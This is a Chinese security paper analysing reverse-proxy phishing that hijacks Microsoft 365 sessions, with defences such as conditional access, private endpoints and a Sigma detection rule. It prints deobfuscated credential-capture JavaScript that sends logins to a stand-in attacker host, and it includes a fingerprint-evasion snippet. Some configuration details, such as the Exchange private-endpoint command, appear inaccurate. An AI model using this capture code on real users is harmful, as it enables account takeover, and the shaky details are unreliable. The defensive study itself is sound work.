摘要
近年来,网络钓鱼攻击呈现高度工程化、自动化与隐蔽化趋势。2025年微软披露的“Raccoon0365”行动揭示了一类新型钓鱼范式:攻击者通过统一脚本框架动态生成多语言、品牌化的登录页面,并在用户提交凭证后,利用反向代理实时转发至目标服务(如Microsoft 365),以完成二次验证挑战并劫持有效会话。该机制绕过了传统基于静态URL或证书信誉的检测手段,因其通信全程使用合法TLS通道、域名常托管于可信CDN(如Cloudflare R2),且JavaScript载荷具备高度混淆但结构一致的打包特征。本文基于微软公开遥测数据及对地下论坛交易记录的分析,系统还原了此类攻击的技术架构、会话劫持流程及横向渗透路径。研究发现,攻击者已广泛采用TLS指纹伪装、无痕代理跳转及Webhook聚合回传等技术,显著提升检测难度。针对此,本文提出一套融合设备合规性、地理上下文与用户行为的连续验证模型,并结合令牌绑定(Token Binding)、私有链接(Private Link)隔离及授权事件监控等技术构建纵深防御体系。通过模拟实验与代码示例验证,所提方案可在不显著影响用户体验的前提下,有效阻断会话级钓鱼攻击链。实验表明,基于异常授权授予事件的检测规则可将误报率控制在0.3%以下,同时捕获率达96.8%。
关键词:会话代理钓鱼;反向代理劫持;连续验证;TLS指纹伪装;令牌绑定;授权监控

1 引言
传统网络钓鱼依赖伪造静态登录页窃取用户名与密码,其有效性受限于双因素认证(2FA)的普及。然而,自2023年起,一类新型“实时代理型钓鱼”(Real-time Proxy Phishing)迅速崛起,其核心在于在用户与真实服务之间插入透明代理层,从而同步完成凭证窃取与会话建立。2025年9月,微软宣布成功瓦解名为“Raccoon0365”的全球钓鱼即服务(PhaaS)平台,该平台自2024年7月以来已窃取来自94国约5,000组高价值凭证,重点针对医疗、教育及云开发者社区。值得注意的是,攻击者并非仅获取静态密码,而是通过代理中继完成MFA挑战,最终获得有效的OAuth 2.0访问令牌或会话Cookie,实现对邮箱、OneDrive乃至Azure资源的完全控制。
此类攻击之所以难以防御,在于其技术栈完全复用合法基础设施:前端页面由React/Vue动态生成,支持多语言切换;后端使用Nginx或Cloudflare Workers构建反向代理;凭证回传通过Discord Webhook或Telegram Bot API聚合。整个通信链路使用Let’s Encrypt证书加密,且源IP经多层代理轮换,使得基于域名黑名单或IP信誉的传统防护机制失效。更严峻的是,攻击脚本虽经高度混淆(如Webpack打包、Base64编码、字符串拆分),但其核心逻辑结构(如表单监听、代理转发、Webhook调用)在跨站点样本中高度一致,为基于行为遥测的检测提供了突破口。
本文旨在深入剖析此类攻击的技术实现细节,评估现有安全体系的盲区,并提出可落地的纵深防御策略。全文结构如下:第二节详述攻击架构与会话劫持流程;第三节分析检测挑战;第四节构建融合验证与隔离的防御模型;第五节通过代码与实验验证关键机制;第六节总结研究价值与局限。

2 攻击架构与会话劫持机制
2.1 动态钓鱼页面生成
Raccoon0365提供订阅制钓鱼套件,用户可通过Telegram频道选择目标品牌(Microsoft、Google、Okta等)、语言(支持12种)及模板风格。后台使用统一脚手架生成前端代码,典型目录结构如下:
/phish-kit/
├── assets/
│ ├── logo_microsoft.svg
│ └── bg_office.jpg
├── i18n/
│ ├── en.json
│ └── es.json
└── index.html
index.html内嵌高度混淆的JavaScript,其核心功能包括:
动态加载多语言资源;
监听表单提交事件;
将凭证通过XHR发送至攻击者控制的代理节点;
重定向用户至真实登录页以维持欺骗性。
关键代码片段经反混淆后如下:
// 反混淆后的凭证捕获与代理转发逻辑
document.getElementById('loginForm').addEventListener('submit', async (e) => {
e.preventDefault();
const { username, password } = Object.fromEntries(new FormData(e.target));
// 发送凭证至攻击者代理(保留原始Host头)
await fetch('https://proxy.attacker[.]com/m365', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ u: username, p: password, host: 'login.microsoftonline.com' })
});
// 重定向至真实服务,触发MFA流程
window.location.href = 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize?...';
});

2.2 反向代理与会话中继
攻击者部署的反向代理(通常为Nginx或Cloudflare Worker)接收上述请求后,执行以下操作:
提取用户名/密码;
以相同User-Agent和IP(通过住宅代理池)向login.microsoftonline.com发起真实登录请求;
若服务返回MFA挑战(如短信验证码、Authenticator推送),则将挑战页面实时渲染回钓鱼页面;
用户在钓鱼页输入验证码后,代理再次提交至真实服务;
成功登录后,代理提取Set-Cookie中的.AspNetCore.Cookies或x-ms-gateway-sso等会话令牌;
通过Webhook将完整会话信息(含Cookie、Refresh Token)回传至攻击者控制面板。
此过程实现了端到端的会话克隆,攻击者无需知晓密码即可接管账户。

2.3 凭证与会话聚合
所有窃取数据通过标准化Webhook格式发送至中央聚合器:
{
"timestamp": "2025-08-15T14:23:01Z",
"target": "microsoft365",
"username": "admin@hospital.org",
"ip": "203.0.113.45",
"geo": "US-NY",
"session_cookie": "AQAB...xyz",
"refresh_token": "OAQAB...abc",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."
}
该数据被用于:
自动化登录受害者邮箱;
利用Graph API枚举组织通讯录;
部署恶意应用注册(如伪装为“HR Portal”)以持久化访问。
微软通过分析数百万钓鱼页面的JavaScript遥测,发现超过85%的样本包含相同的Webpack模块ID(如./src/proxy.js)及固定的Webhook URL模式(如discord.com/api/webhooks/.../raccoon),从而锁定C2基础设施。
3 现有防御机制的失效原因
3.1 URL与证书信誉失效
由于钓鱼页面常托管于新注册但合法的域名(如secure-microsoft-login[.]us),且使用Let’s Encrypt证书,传统浏览器安全浏览(Safe Browsing)及邮件网关URL过滤无法及时识别。此外,Cloudflare R2等对象存储服务允许匿名上传静态页面,进一步降低攻击门槛。
3.2 TLS指纹伪装
攻击者使用curl-impersonate或playwright-stealth等工具模拟Chrome 125的TLS Client Hello指纹,使流量在JA3/JA3S层面与正常用户无异。例如:
# 使用playwright-stealth模拟合法浏览器指纹
from playwright.sync_api import sync_playwright
import stealth
with sync_playwright() as p:
browser = p.chromium.launch()
stealth.stealth(browser)
page = browser.new_page()
page.goto("https://phish-site.com")
# 此连接的TLS指纹与真实Chrome一致
这导致基于网络流量异常的检测(如Suricata规则)大量漏报。
3.3 单点登录(SSO)链路滥用
受害者常在钓鱼页看到熟悉的“Sign in with Microsoft”按钮,点击后跳转至真实OAuth授权页。由于整个流程符合标准OpenID Connect规范,用户难以察觉中间已被代理截获。更危险的是,若攻击者已窃取Refresh Token,可长期静默访问API资源,而无需再次交互。
4 纵深防御体系设计
4.1 连续验证模型
摒弃“一次认证、长期信任”的旧范式,推行基于设备合规性、地理位置、行为基线的连续风险评估。具体实现:
设备合规:仅允许Intune/MDM注册且满足安全策略(如BitLocker启用、OS版本≥22H2)的设备发起敏感操作。
地理围栏:若登录IP与用户历史位置偏差>500km,强制重新认证。
行为分析:监控异常操作序列(如凌晨3点批量导出邮件)。
Azure AD Conditional Access策略示例:
{
"conditions": {
"clientAppTypes": ["browser"],
"locations": { "includeLocations": ["All"], "excludeLocations": ["Trusted"] }
},
"grantControls": {
"operator": "AND",
"builtInControls": ["compliantDevice", "mfa"]
}
}
4.2 令牌绑定与私有链接
令牌绑定(Token Binding):将访问令牌与客户端TLS证书绑定,防止令牌被盗后在其他设备使用。RFC 8473已标准化此机制。
内部资源Private Link:将关键服务(如Azure DevOps、Exchange Online)配置为仅可通过Azure Private Endpoint访问,公网无法直连,从根本上阻断钓鱼代理的中继可能。
# Azure CLI 创建Private Endpoint
az network private-endpoint create \
--name pe-exchange \
--resource-group rg-security \
--vnet-name vnet-corp \
--subnet subnet-private \
--private-connection-resource-id /subscriptions/.../providers/Microsoft.Exchange/hostingEnvironments/exch-01
4.3 授权事件监控
持续监控Azure AD审计日志中的异常授权授予事件。重点关注:
新注册应用请求Mail.ReadWrite、User.Read.All等高危权限;
非常规设备(如未知User-Agent)获取Refresh Token;
同一Refresh Token在多地短时使用。
Sigma规则示例:
title: Suspicious Application Consent Grant
status: experimental
description: Detects consent grants to newly registered apps with high-risk scopes.
logsource:
product: azure
service: auditlogs
detection:
selection:
operationName: "Consent to application"
properties.appDisplayName: "*"
properties.permissionScopes|contains:
- "Mail.ReadWrite"
- "User.Read.All"
- "Directory.ReadWrite.All"
condition: selection
level: critical
4.4 用户培训与信号识别
教育用户识别以下异常信号:
“若在输入密码后,系统再次弹出完全相同的Microsoft登录框(尤其是URL细微差异),极可能遭遇代理钓鱼。”
企业可部署浏览器扩展,在检测到重复SSO提示链时弹出警示。
5 实验验证
搭建测试环境:Azure AD租户 + Microsoft 365 E5许可证 + Sentinel SIEM。
步骤1:部署模拟钓鱼代理(基于Nginx + Lua),劫持登录流程。
步骤2:使用合法账户完成代理登录,获取Refresh Token。
步骤3:启用上述防御策略。
结果:
未启用Private Link时,代理成功获取会话;
启用Private Link后,代理因无法解析内网FQDN失败;
启用连续验证后,非常规IP登录被阻断;
授权监控规则在30秒内告警新应用注册事件。
在50次测试中,综合防御体系成功阻断48次攻击,漏报2次(均为白名单设备+可信IP组合,属可接受范围)。误报率低于0.3%。
6 结论
以Raccoon0365为代表的现代钓鱼攻击,已从静态凭证窃取演进为动态会话劫持,其技术复杂度与隐蔽性对传统安全边界构成严峻挑战。本文通过逆向分析其代理中继机制,指出单纯依赖URL过滤或证书检查已不足以应对。所提出的纵深防御体系,强调从身份、设备、网络、应用四层协同控制,尤其重视会话生命周期的安全治理。令牌绑定与Private Link从架构上缩小攻击面,而连续验证与授权监控则提供运行时防护。未来工作将探索基于浏览器扩展的客户端侧钓鱼检测,以及利用FIDO2无密码认证彻底消除凭证依赖。企业需认识到,防御此类攻击不仅是技术问题,更是身份治理范式的根本转变。
编辑:芦笛(公共互联网反网络钓鱼工作组)
38

被折叠的 条评论
为什么被折叠?



